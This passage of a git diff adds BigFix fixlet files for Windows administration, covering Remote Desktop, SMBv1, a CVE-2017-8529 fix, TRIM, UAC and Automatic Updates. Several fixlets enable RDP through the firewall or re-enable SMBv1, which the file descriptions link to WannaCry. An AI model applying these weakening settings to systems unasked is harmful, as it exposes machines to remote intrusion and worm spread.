+// Restart Required
+action requires restart
+
+//  Raw Registry Location:
+// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
+
+//  Related:
+// https://bigfix.me/fixlet/details/823
+// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
+// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes
new file mode 100644
index 000000000..dfbb78209
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Remote Desktop
+  ID       : 3872
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-10-09T07:01:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Remote Desktop</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 09 Oct 2014 13:57:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f
+
+waithidden cmd.exe /C netsh firewall set service type = remotedesktop mode = enable</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes
new file mode 100644
index 000000000..5d5ed2bad
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Remote Desktop (RDP)
+  ID       : 2458
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-05-08T12:03:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Remote Desktop (RDP)</Title>
+    <Description>Enable remote desktop settings in the registry. (RDP) </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-05-08</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 08 May 2013 17:02:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
+//thanks sinucus (http://bigfix.me/user/sinucus) for this great addition:
+waithidden cmd.exe /C netsh firewall set service type= remotedesktop mode = enable
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action898">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes
new file mode 100644
index 000000000..6b9c93815
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes	
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
+  ID       : 24319
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T13:10:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it != 0) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 20:03:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Set-SmbServerConfiguration -EnableSMB1Protocol $true -Force
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes
new file mode 100644
index 000000000..a3737f4f6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
+  ID       : 24315
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T11:05:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 1) of (native registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000001
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes
new file mode 100644
index 000000000..38dd0b89a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
+  ID       : 24317
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T12:11:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase contains &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it = 4) of native registry</Relevance>
+    <Category>workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+wait sc.exe config lanmanworkstation depend= bowser/mrxsmb10/mrxsmb20/nsi
+wait sc.exe config mrxsmb10 start= manual</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes
new file mode 100644
index 000000000..59d6d31c2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes	
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
+  ID       : 24651
+  Author   : JasonL
+  Domain   : BESC
+  Imported : 2017-10-05T03:09:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
+    <Description><![CDATA[
+<DIV class=FixletMessage>
+<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to enable solution to CVE-2017-8529.</P></DIV></TD></TR></TBODY></TABLE>
+</DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>
+Unspecified
+ </DIV>
+]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
+    <Relevance><![CDATA[number of (elements of ((set of (if (exists key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) then elements whose ((it contains "4036586" OR it contains "4038777" OR it contains "4038781" OR it contains "4038782" OR it contains "4038783" OR it contains "4038788" OR it contains "4038792" OR it contains "4038799") AND it does not contain "_") of (set of ((substrings before "~" of substrings after "for_" of names of keys whose (name of it contains "for_" AND (it = 96 or it = 112 or it = 6 or it = 7) of (value "CurrentState" of it as integer)) of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry) as uppercase)) else (nothing))))) > 0]]></Relevance>
+    <Relevance>not exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
+    <Relevance>not pending restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</Relevance>
+    <Category>Setting</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>CVE-2017-8529</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action25719">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000001
+endif
+
+action requires restart &quot;5eae6a9509552040ccf975999b91b3979fc0821d&quot;</ActionScript>
+    </Action>
+    <Action ID="Action25720">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Security Guidance Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes
new file mode 100644
index 000000000..2a33cc78c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable TRIM on Win7 for SSDs
+  ID       : 1385
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-01-18T10:41:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable TRIM on Win7 for SSDs</Title>
+    <Description><![CDATA[<P>This should only be done on computers with SSDs that support TRIM properly. Some older SSDs require firmware updates for TRIM to work properly. This task does not detect if a system has an SSD, so it will be applicable on systems that do not need this setting changed.</P>
+<P>&nbsp;</P><A href="http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc785435(v=ws.10).aspx</A>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
+    <Relevance>0 != value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-01-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 18 Jan 2013 16:43:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden fsutil behavior set disabledeletenotify 0</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes
new file mode 100644
index 000000000..4a2392450
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable UAC
+  ID       : 1377
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-14T10:18:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable UAC</Title>
+    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP. ]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 0 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 0</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Jan 2013 15:33:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:1
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes
new file mode 100644
index 000000000..d204c0a74
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Windows Automatic Updates
+  ID       : 97
+  Author   : danielheth
+  Domain   : SYST
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Windows Automatic Updates</Title>
+    <Description>Enables Windows Automatic Update </Description>
+    <Relevance>(name of it starts with &quot;WinXP&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
+    <Relevance>((if exists value &quot;NoAutoUpdate&quot; of it then value &quot;NoAutoUpdate&quot; of it as integer else 0) of key &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry) != 0</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:30:05 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUOptions&quot;=dword:00000004
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AUPowerManagement&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;AutoInstallMinorUpdates&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;IncludeRecommendedUpdates&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUAsDefaultShutdownOption&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAUShutdownOption&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoRebootWithLoggedOnUsers&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;NoAutoUpdate&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeout&quot;=dword:0000000f
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RebootWarningTimeoutEnabled&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTime&quot;=dword:00000001
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;RescheduleWaitTimeEnabled&quot;=dword:00000001
